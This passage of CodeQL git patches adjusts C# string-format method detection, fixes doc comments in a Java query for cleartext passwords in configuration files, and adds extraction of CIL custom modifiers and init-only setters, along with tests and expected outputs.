a/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll b/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll index a3f9cbff073..08e08dcf9af 100644 --- a/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll +++ b/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll @@ -13,7 +13,6 @@ class FormatMethod extends Method { exists(Class declType | declType = this.getDeclaringType() | this.getParameter(0).getType() instanceof SystemIFormatProviderInterface and this.getParameter(1).getType() instanceof StringType and - this.getNumberOfParameters() >= 3 and ( this = any(SystemStringClass c).getFormatMethod() or @@ -21,7 +20,6 @@ class FormatMethod extends Method { ) or this.getParameter(0).getType() instanceof StringType and - this.getNumberOfParameters() >= 2 and ( this = any(SystemStringClass c).getFormatMethod() or diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.cs b/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.cs index 97d2d707726..94201c0ddf8 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.cs @@ -20,6 +20,9 @@ class Class1 String.Format("{0} {1} {2} {3}", 0, 1, 2, 3); helper("{1}"); + + // BAD: Missing {0} + Console.WriteLine("{0}"); } void helper(string format) diff --git a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected b/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected index ceb279a17b2..e7b41f90e6d 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected +++ b/csharp/ql/test/query-tests/API Abuse/FormatMissingArgument/FormatMissingArgument.expected @@ -5,18 +5,20 @@ nodes | FormatMissingArgument.cs:17:23:17:35 | "{0} {1} {2}" | semmle.label | "{0} {1} {2}" | | FormatMissingArgument.cs:20:23:20:39 | "{0} {1} {2} {3}" | semmle.label | "{0} {1} {2} {3}" | | FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | semmle.label | "{1}" : String | -| FormatMissingArgument.cs:25:24:25:29 | format : String | semmle.label | format : String | -| FormatMissingArgument.cs:28:23:28:28 | access to parameter format | semmle.label | access to parameter format | +| FormatMissingArgument.cs:25:27:25:31 | "{0}" | semmle.label | "{0}" | +| FormatMissingArgument.cs:28:24:28:29 | format : String | semmle.label | format : String | +| FormatMissingArgument.cs:31:23:31:28 | access to parameter format | semmle.label | access to parameter format | | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | semmle.label | "Hello {0} {1}" | | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | semmle.label | "Hello {1} {2}" | | FormatMissingArgumentGood.cs:7:27:7:41 | "Hello {0} {1}" | semmle.label | "Hello {0} {1}" | edges -| FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:25:24:25:29 | format : String | -| FormatMissingArgument.cs:25:24:25:29 | format : String | FormatMissingArgument.cs:28:23:28:28 | access to parameter format | +| FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:28:24:28:29 | format : String | +| FormatMissingArgument.cs:28:24:28:29 | format : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | #select | FormatMissingArgument.cs:11:9:11:31 | call to method Format | FormatMissingArgument.cs:11:23:11:27 | "{1}" | FormatMissingArgument.cs:11:23:11:27 | "{1}" | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:11:23:11:27 | "{1}" | this | | FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | Argument '{2}' has not been supplied to $@ format string. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | | FormatMissingArgument.cs:14:9:14:38 | call to method Format | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | Argument '{3}' has not been supplied to $@ format string. | FormatMissingArgument.cs:14:23:14:31 | "{2} {3}" | this | -| FormatMissingArgument.cs:28:9:28:32 | call to method Format | FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:28:23:28:28 | access to parameter format | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:22:16:22:20 | "{1}" | this | +| FormatMissingArgument.cs:25:9:25:32 | call to method WriteLine | FormatMissingArgument.cs:25:27:25:31 | "{0}" | FormatMissingArgument.cs:25:27:25:31 | "{0}" | Argument '{0}' has not been supplied to $@ format string. | FormatMissingArgument.cs:25:27:25:31 | "{0}" | this | +| FormatMissingArgument.cs:31:9:31:32 | call to method Format | FormatMissingArgument.cs:22:16:22:20 | "{1}" : String | FormatMissingArgument.cs:31:23:31:28 | access to parameter format | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgument.cs:22:16:22:20 | "{1}" | this | | FormatMissingArgumentBad.cs:7:9:7:49 | call to method WriteLine | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | Argument '{1}' has not been supplied to $@ format string. | FormatMissingArgumentBad.cs:7:27:7:41 | "Hello {0} {1}" | this | | FormatMissingArgumentBad.cs:8:9:8:55 | call to method WriteLine | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | Argument '{2}' has not been supplied to $@ format string. | FormatMissingArgumentBad.cs:8:27:8:41 | "Hello {1} {2}" | this | From 7a132149a27bce6cd40d8d6f397e4a35ef6689fd Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 17 Dec 2020 15:35:14 +0100 Subject: [PATCH 0302/1241] C#: Add change note --- csharp/change-notes/2020-12-17-format-method-empty-overload.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 csharp/change-notes/2020-12-17-format-method-empty-overload.md diff --git a/csharp/change-notes/2020-12-17-format-method-empty-overload.md b/csharp/change-notes/2020-12-17-format-method-empty-overload.md new file mode 100644 index 00000000000..9341f2c39a7 --- /dev/null +++ b/csharp/change-notes/2020-12-17-format-method-empty-overload.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* For string formatting methods, such as `System.Console.WriteLine(string format, params object[] arg)`, we now also recognize overloads without insertion parameters as string formatting methods. For example, `System.Console.WriteLine(string value)` is now also a member of the class `FormatMethod` in `frameworks/Format.qll`. \ No newline at end of file From bfb138d415786418029c05e4e2137f68ff5e750c Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Thu, 17 Dec 2020 14:42:14 +0000 Subject: [PATCH 0303/1241] Update qldoc --- .../Security/CWE/CWE-555/PasswordInConfigurationFile.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql index 41c222e6fe8..a8ed7ec538e 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -11,7 +11,7 @@ import java -/* Holds if the attribute value is not a cleartext password */ +/** Holds if the attribute value is not a cleartext password */ bindingset[value] predicate isNotPassword(string value) { value = "" // Empty string @@ -21,7 +21,7 @@ predicate isNotPassword(string value) { value.matches("%=") // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. } -/* Holds if the attribute value has an embedded password */ +/** Holds if the attribute value has an embedded password */ bindingset[value] predicate hasEmbeddedPassword(string value) { exists(string password | From 7662b55ecc27506784ad137b3526a3ab57f33d0c Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 14 Dec 2020 11:54:47 +0100 Subject: [PATCH 0304/1241] C#: Extract init only accessors and custom modifiers --- .../Entities/DefinitionMethod.cs | 12 +++-- .../Semmle.Extraction.CIL/Entities/Field.cs | 10 +++- .../Entities/MemberReferenceMethod.cs | 10 ++-- .../Semmle.Extraction.CIL/Entities/Method.cs | 28 +++++++++-- .../Entities/MethodSpecificationMethod.cs | 11 +++-- .../Entities/ModifiedType.cs | 49 +++++++++++++++++++ .../Entities/Property.cs | 12 ++++- .../Entities/SignatureDecoder.cs | 12 ++++- .../Entities/TypeSignatureDecoder.cs | 2 +- .../ICustomModifierReceiver.cs | 6 +++ .../extractor/Semmle.Extraction.CIL/Tuples.cs | 3 ++ csharp/ql/src/semmle/code/cil/Method.qll | 8 ++- csharp/ql/src/semmlecode.csharp.dbscheme | 7 +++ .../cil/init-only-prop/setters.expected | 2 +- 14 files changed, 149 insertions(+), 23 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs create mode 100644 csharp/extractor/Semmle.Extraction.CIL/ICustomModifierReceiver.cs diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs index 8fc836b4df7..353015bb9ad 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs @@ -76,9 +76,10 @@ namespace Semmle.Extraction.CIL.Entities var typeSignature = md.DecodeSignature(Cx.TypeSignatureDecoder, this); - Parameters = MakeParameters(typeSignature.ParameterTypes).ToArray(); + var parameters = GetParameterExtractionProducts(typeSignature.ParameterTypes).ToArray(); + Parameters = parameters.OfType().ToArray(); - foreach (var c in Parameters) + foreach (var c in parameters) yield return c; foreach (var c in PopulateFlags) @@ -95,7 +96,12 @@ namespace Semmle.Extraction.CIL.Entities } yield return Tuples.metadata_handle(this, Cx.Assembly, MetadataTokens.GetToken(handle)); - yield return Tuples.cil_method(this, Name, declaringType, typeSignature.ReturnType); + + foreach (var m in GetMethodExtractionProducts(Name, declaringType, typeSignature.ReturnType)) + { + yield return m; + } + yield return Tuples.cil_method_source_declaration(this, this); yield return Tuples.cil_method_location(this, Cx.Assembly); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs index 98a28f36286..3f051796887 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs @@ -8,7 +8,7 @@ namespace Semmle.Extraction.CIL.Entities /// /// An entity representing a field. /// - internal abstract class Field : GenericContext, IMember + internal abstract class Field : GenericContext, IMember, ICustomModifierReceiver { protected Field(Context cx) : base(cx) { @@ -45,7 +45,13 @@ namespace Semmle.Extraction.CIL.Entities { get { - yield return Tuples.cil_field(this, DeclaringType, Name, Type); + var t = Type; + if (t is ModifiedType mt) + { + t = mt.Unmodified; + yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); + } + yield return Tuples.cil_field(this, DeclaringType, Name, t); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/MemberReferenceMethod.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/MemberReferenceMethod.cs index f515f7190e6..cacbc6ab874 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/MemberReferenceMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/MemberReferenceMethod.cs @@ -76,12 +76,16 @@ namespace Semmle.Extraction.CIL.Entities var typeSignature = mr.DecodeMethodSignature(Cx.TypeSignatureDecoder, this); - Parameters = MakeParameters(typeSignature.ParameterTypes).ToArray(); - foreach (var p in Parameters) yield return p; + var parameters = GetParameterExtractionProducts(typeSignature.ParameterTypes).ToArray(); + Parameters = parameters.OfType().ToArray(); + foreach (var p in parameters) yield return p; foreach (var f in PopulateFlags) yield return f; - yield return Tuples.cil_method(this, Name, DeclaringType, typeSignature.ReturnType); + foreach (var m in GetMethodExtractionProducts(Name, DeclaringType, typeSignature.ReturnType)) + { + yield return m; + } if (SourceDeclaration != null) yield return Tuples.cil_method_source_declaration(this, SourceDeclaration); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs index ade2189e665..119dc2fd287 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs @@ -3,14 +3,13 @@ using System.Reflection.Metadata; using System.Collections.Generic; using System.Linq; using System.IO; -using Semmle.Util; namespace Semmle.Extraction.CIL.Entities { /// /// A method entity. /// - internal abstract class Method : TypeContainer, IMember + internal abstract class Method : TypeContainer, IMember, ICustomModifierReceiver { protected MethodTypeParameter[]? genericParams; protected GenericContext gc; @@ -21,6 +20,8 @@ namespace Semmle.Extraction.CIL.Entities this.gc = gc; } + public ITypeSignature ReturnType => signature.ReturnType; + public override IEnumerable TypeParameters => gc.TypeParameters.Concat(DeclaringType.TypeParameters); public override IEnumerable MethodParameters => @@ -76,7 +77,7 @@ namespace Semmle.Extraction.CIL.Entities public abstract bool IsStatic { get; } - protected IEnumerable MakeParameters(IEnumerable parameterTypes) + protected IEnumerable GetParameterExtractionProducts(IEnumerable parameterTypes) { var i = 0; @@ -86,7 +87,26 @@ namespace Semmle.Extraction.CIL.Entities } foreach (var p in parameterTypes) - yield return Cx.Populate(new Parameter(Cx, this, i++, p)); + { + var t = p; + if (t is ModifiedType mt) + { + t = mt.Unmodified; + yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); + } + yield return Cx.Populate(new Parameter(Cx, this, i++, t)); + } + } + + protected IEnumerable GetMethodExtractionProducts(string name, Type declaringType, Type returnType) + { + var t = returnType; + if (t is ModifiedType mt) + { + t = mt.Unmodified; + yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); + } + yield return Tuples.cil_method(this, name, declaringType, t); } } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodSpecificationMethod.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodSpecificationMethod.cs index 60ec9f21bc4..26811ce6c80 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodSpecificationMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/MethodSpecificationMethod.cs @@ -77,14 +77,19 @@ namespace Semmle.Extraction.CIL.Entities throw new InternalError($"Unexpected constructed method handle kind {ms.Method.Kind}"); } - Parameters = MakeParameters(constructedTypeSignature.ParameterTypes).ToArray(); - foreach (var p in Parameters) + var parameters = GetParameterExtractionProducts(constructedTypeSignature.ParameterTypes).ToArray(); + Parameters = parameters.OfType().ToArray(); + foreach (var p in parameters) yield return p; foreach (var f in PopulateFlags) yield return f; - yield return Tuples.cil_method(this, Name, DeclaringType, constructedTypeSignature.ReturnType); + foreach (var m in GetMethodExtractionProducts(Name, DeclaringType, constructedTypeSignature.ReturnType)) + { + yield return m; + } + yield return Tuples.cil_method_source_declaration(this, SourceDeclaration); if (typeParams.Length != unboundMethod.GenericParameterCount) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs new file mode 100644 index 00000000000..61262ef33ab --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs @@ -0,0 +1,49 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Semmle.Extraction.CIL.Entities +{ + /// + /// Modified types are not written directly to trap files. Instead, the modifiers are stored + /// on the modifiable entity (field type, property/method/function pointer parameter or return types). + /// + internal sealed class ModifiedType : Type + { + public ModifiedType(Context cx, Type unmodified, Type modifier, bool isRequired) : base(cx) + { + Unmodified = unmodified; + Modifier = modifier; + IsRequired = isRequired; + } + + public Type Unmodified { get; } + public Type Modifier { get; } + public bool IsRequired { get; } + + public override CilTypeKind Kind => throw new NotImplementedException(); + + public override Namespace? ContainingNamespace => throw new NotImplementedException(); + + public override Type? ContainingType => throw new NotImplementedException(); + + public override IEnumerable TypeParameters => throw new NotImplementedException(); + + public override int ThisTypeParameterCount => throw new NotImplementedException(); + + public override Type Construct(IEnumerable typeArguments) => throw new NotImplementedException(); + + public override string Name => Unmodified.Name + (IsRequired ? " modreq" : " modopt") + $"({Modifier.Name})"; + + public override void WriteAssemblyPrefix(TextWriter trapFile) => Unmodified.WriteAssemblyPrefix(trapFile); + + public override void WriteId(TextWriter trapFile, bool inContext) + { + Unmodified.WriteId(trapFile, inContext); + trapFile.Write(IsRequired ? " modreq" : " modopt"); + trapFile.Write("("); + Modifier.WriteId(trapFile, inContext); + trapFile.Write(")"); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs index 6fc588b1d34..3a15bf795fe 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs @@ -8,7 +8,7 @@ namespace Semmle.Extraction.CIL.Entities /// /// A property. /// - internal sealed class Property : LabelledEntity + internal sealed class Property : LabelledEntity, ICustomModifierReceiver { private readonly Handle handle; private readonly Type type; @@ -54,7 +54,15 @@ namespace Semmle.Extraction.CIL.Entities yield return Tuples.metadata_handle(this, Cx.Assembly, MetadataTokens.GetToken(handle)); var sig = pd.DecodeSignature(Cx.TypeSignatureDecoder, type); - yield return Tuples.cil_property(this, type, Cx.ShortName(pd.Name), sig.ReturnType); + var name = Cx.ShortName(pd.Name); + + var t = sig.ReturnType; + if (t is ModifiedType mt) + { + t = mt.Unmodified; + yield return Tuples.cil_custom_modifiers(this, mt.Modifier, mt.IsRequired); + } + yield return Tuples.cil_property(this, type, name, t); var accessors = pd.GetAccessors(); if (!accessors.Getter.IsNil) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs index 571e37ef697..15920051143 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/SignatureDecoder.cs @@ -1,6 +1,7 @@ using System.Reflection.Metadata; using System.Collections.Immutable; using System.IO; +using System.Linq; namespace Semmle.Extraction.CIL.Entities { @@ -138,21 +139,28 @@ namespace Semmle.Extraction.CIL.Entities private class Modified : ITypeSignature { private readonly ITypeSignature unmodifiedType; + private readonly ITypeSignature modifier; + private readonly bool isRequired; - public Modified(ITypeSignature unmodifiedType) + public Modified(ITypeSignature unmodifiedType, ITypeSignature modifier, bool isRequired) { this.unmodifiedType = unmodifiedType; + this.modifier = modifier; + this.isRequired = isRequired; } public void WriteId(TextWriter trapFile, GenericContext gc) { unmodifiedType.WriteId(trapFile, gc); + trapFile.Write(isRequired ? " modreq(" : " modopt("); + modifier.WriteId(trapFile, gc); + trapFile.Write(")"); } } ITypeSignature ISignatureTypeProvider.GetModifiedType(ITypeSignature modifier, ITypeSignature unmodifiedType, bool isRequired) { - return new Modified(unmodifiedType); + return new Modified(unmodifiedType, modifier, isRequired); } private class Pinned : ITypeSignature diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs index 632933edcd6..cf04f4fbdaf 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs @@ -35,7 +35,7 @@ namespace Semmle.Extraction.CIL.Entities genericContext.GetGenericTypeParameter(index); Type ISignatureTypeProvider.GetModifiedType(Type modifier, Type unmodifiedType, bool isRequired) => - unmodifiedType; // !! Not implemented properly + new ModifiedType(cx, unmodifiedType, modifier, isRequired); Type ISignatureTypeProvider.GetPinnedType(Type elementType) => cx.Populate(new PointerType(cx, elementType)); diff --git a/csharp/extractor/Semmle.Extraction.CIL/ICustomModifierReceiver.cs b/csharp/extractor/Semmle.Extraction.CIL/ICustomModifierReceiver.cs new file mode 100644 index 00000000000..24d2c057b2e --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/ICustomModifierReceiver.cs @@ -0,0 +1,6 @@ +namespace Semmle.Extraction.CIL +{ + internal interface ICustomModifierReceiver + { + } +} \ No newline at end of file diff --git a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs index 5f89d135fd7..9568537f71f 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs @@ -188,6 +188,9 @@ namespace Semmle.Extraction.CIL internal static Tuple cil_virtual(Method method) => new Tuple("cil_virtual", method); + internal static Tuple cil_custom_modifiers(ICustomModifierReceiver receiver, Type modifier, bool isRequired) => + new Tuple("cil_custom_modifiers", receiver, modifier, isRequired ? 1 : 0); + internal static Tuple containerparent(Folder parent, IFileOrFolder child) => new Tuple("containerparent", parent, child); diff --git a/csharp/ql/src/semmle/code/cil/Method.qll b/csharp/ql/src/semmle/code/cil/Method.qll index ed6c548b020..62c75d14ebc 100644 --- a/csharp/ql/src/semmle/code/cil/Method.qll +++ b/csharp/ql/src/semmle/code/cil/Method.qll @@ -247,8 +247,12 @@ class Setter extends Accessor { override Property getProperty() { cil_setter(result, this) } - /** Holds if this setter is an `init`-only accessor. */ - predicate isInitOnly() { none() } + /** Holds if this setter is an `init` accessor. */ + predicate isInitOnly() { + exists(Type t | t.getQualifiedName() = "System.Runtime.CompilerServices.IsExternalInit" | + cil_custom_modifiers(this, t, 1) + ) + } } /** diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index f5903552e30..094972aab8c 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1712,6 +1712,7 @@ cil_field( @cil_variable = @cil_field | @cil_stack_variable; @cil_stack_variable = @cil_local_variable | @cil_parameter; @cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type #keyset[method, index] cil_parameter( @@ -1726,6 +1727,12 @@ cil_parameter_out(unique int id: @cil_parameter ref); cil_setter(unique int prop: @cil_property ref, int method: @cil_method ref); +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + cil_getter(unique int prop: @cil_property ref, int method: @cil_method ref); diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/setters.expected b/csharp/ql/test/library-tests/cil/init-only-prop/setters.expected index 39c2f478d1d..49f58c1113d 100644 --- a/csharp/ql/test/library-tests/cil/init-only-prop/setters.expected +++ b/csharp/ql/test/library-tests/cil/init-only-prop/setters.expected @@ -1,2 +1,2 @@ | cil-init-prop.dll:0:0:0:0 | set_Prop1 | set | -| cil-init-prop.dll:0:0:0:0 | set_Prop2 | set | +| cil-init-prop.dll:0:0:0:0 | set_Prop2 | init | From f3a0d1d138582b960de256771d6655b4748c0728 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 16 Dec 2020 21:11:41 +0100 Subject: [PATCH 0305/1241] Add test to list all custom modifiers extracted from IL --- csharp/ql/src/semmle/code/cil/CIL.qll | 1 + .../code/cil/CustomModifierReceiver.qll | 29 +++++ csharp/ql/src/semmle/code/cil/Declaration.qll | 2 +- csharp/ql/src/semmle/code/cil/Method.qll | 3 +- csharp/ql/src/semmle/code/cil/Variable.qll | 4 +- .../init-only-prop/customModifiers.expected | 107 ++++++++++++++++++ .../cil/init-only-prop/customModifiers.ql | 13 +++ 7 files changed, 155 insertions(+), 4 deletions(-) create mode 100644 csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.expected create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql diff --git a/csharp/ql/src/semmle/code/cil/CIL.qll b/csharp/ql/src/semmle/code/cil/CIL.qll index 1e61c798c54..04adbda83b7 100644 --- a/csharp/ql/src/semmle/code/cil/CIL.qll +++ b/csharp/ql/src/semmle/code/cil/CIL.qll @@ -18,3 +18,4 @@ import ControlFlow import DataFlow import Attribute import Stubs +import CustomModifierReceiver diff --git a/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll b/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll new file mode 100644 index 00000000000..c6dd276bbf9 --- /dev/null +++ b/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll @@ -0,0 +1,29 @@ +/** + * Provides a class to represent `modopt` and `modreq` declarations. + */ + +private import CIL +private import dotnet + +/** + * A class to represent entities that can recive custom modifiers. Custom modifiers can be attached to + * - the type of a `Field`, + * - the return type of a `Method` or `Property`, + * - the type of parameters. + * A `CustomModifierReceiver` is therefore either a `Field`, `Property`, `Method`, or `Parameter`. + */ +class CustomModifierReceiver extends Declaration, @cil_custom_modifier_receiver { + /** Holds if this targeted type has `modifier` applied as `modreq`. */ + predicate hasRequiredCustomModifier(Type modifier) { cil_custom_modifiers(this, modifier, 1) } + + /** Holds if this targeted type has `modifier` applied as `modopt`. */ + predicate hasOptionalCustomModifier(Type modifier) { cil_custom_modifiers(this, modifier, 0) } + + /** + * Holds if this targeted type has `modifier` applied as `kind`. `kind` 1 means `modreq`, + * `kind` 0 represents `modopt`. + */ + predicate hasCustomModifier(Type modifier, int kind) { + cil_custom_modifiers(this, modifier, kind) + } +} diff --git a/csharp/ql/src/semmle/code/cil/Declaration.qll b/csharp/ql/src/semmle/code/cil/Declaration.qll index 170cc576c9b..9260a551ad9 100644 --- a/csharp/ql/src/semmle/code/cil/Declaration.qll +++ b/csharp/ql/src/semmle/code/cil/Declaration.qll @@ -82,7 +82,7 @@ class Member extends DotNet::Member, Declaration, @cil_member { } /** A property. */ -class Property extends DotNet::Property, Member, @cil_property { +class Property extends DotNet::Property, Member, CustomModifierReceiver, @cil_property { override string getName() { cil_property(this, _, result, _) } /** Gets the type of this property. */ diff --git a/csharp/ql/src/semmle/code/cil/Method.qll b/csharp/ql/src/semmle/code/cil/Method.qll index 62c75d14ebc..9ceb108157f 100644 --- a/csharp/ql/src/semmle/code/cil/Method.qll +++ b/csharp/ql/src/semmle/code/cil/Method.qll @@ -66,7 +66,8 @@ class MethodImplementation extends EntryPoint, @cil_method_implementation { * A method, which corresponds to any callable in C#, including constructors, * destructors, operators, accessors and so on. */ -class Method extends DotNet::Callable, Element, Member, TypeContainer, DataFlowNode, @cil_method { +class Method extends DotNet::Callable, Element, Member, TypeContainer, DataFlowNode, + CustomModifierReceiver, @cil_method { /** * Gets a method implementation, if any. Note that there can * be several implementations in different assemblies. diff --git a/csharp/ql/src/semmle/code/cil/Variable.qll b/csharp/ql/src/semmle/code/cil/Variable.qll index b8aee2cbe28..03679fb6bd1 100644 --- a/csharp/ql/src/semmle/code/cil/Variable.qll +++ b/csharp/ql/src/semmle/code/cil/Variable.qll @@ -57,7 +57,7 @@ class LocalVariable extends StackVariable, @cil_local_variable { } /** A method parameter. */ -class Parameter extends DotNet::Parameter, StackVariable, @cil_parameter { +class Parameter extends DotNet::Parameter, StackVariable, CustomModifierReceiver, @cil_parameter { /** Gets the method declaring this parameter. */ override Method getMethod() { this = result.getARawParameter() } @@ -122,7 +122,7 @@ class ThisParameter extends Parameter { } /** A field. */ -class Field extends DotNet::Field, Variable, Member, @cil_field { +class Field extends DotNet::Field, Variable, Member, CustomModifierReceiver, @cil_field { override string toString() { result = getName() } override string toStringWithTypes() { diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.expected b/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.expected new file mode 100644 index 00000000000..8845c0e76f4 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.expected @@ -0,0 +1,107 @@ +| AsRef | System.Runtime.InteropServices.InAttribute | modreq | +| BeginInvoke | System.Runtime.InteropServices.InAttribute | modreq | +| EndInvoke | System.Runtime.InteropServices.InAttribute | modreq | +| EventWriteTransfer | System.Runtime.InteropServices.InAttribute | modreq | +| GetPinnableReference | System.Runtime.InteropServices.InAttribute | modreq | +| Invoke | System.Runtime.InteropServices.InAttribute | modreq | +| Max | System.Runtime.InteropServices.InAttribute | modreq | +| Min | System.Runtime.InteropServices.InAttribute | modreq | +| Value | System.Runtime.CompilerServices.IsVolatile | modreq | +| _bufferedValues | System.Runtime.CompilerServices.IsVolatile | modreq | +| _bufferedValuesIndex | System.Runtime.CompilerServices.IsVolatile | modreq | +| _callbackPartitions | System.Runtime.CompilerServices.IsVolatile | modreq | +| _canceled | System.Runtime.CompilerServices.IsVolatile | modreq | +| _container | System.Runtime.CompilerServices.IsVolatile | modreq | +| _fullyInitialized | System.Runtime.CompilerServices.IsVolatile | modreq | +| _head | System.Runtime.CompilerServices.IsVolatile | modreq | +| _initialized | System.Runtime.CompilerServices.IsVolatile | modreq | +| _isFullyInitialized | System.Runtime.CompilerServices.IsVolatile | modreq | +| _isWriterInProgress | System.Runtime.CompilerServices.IsVolatile | modreq | +| _kernelEvent | System.Runtime.CompilerServices.IsVolatile | modreq | +| _localTimeZone | System.Runtime.CompilerServices.IsVolatile | modreq | +| _next | System.Runtime.CompilerServices.IsVolatile | modreq | +| 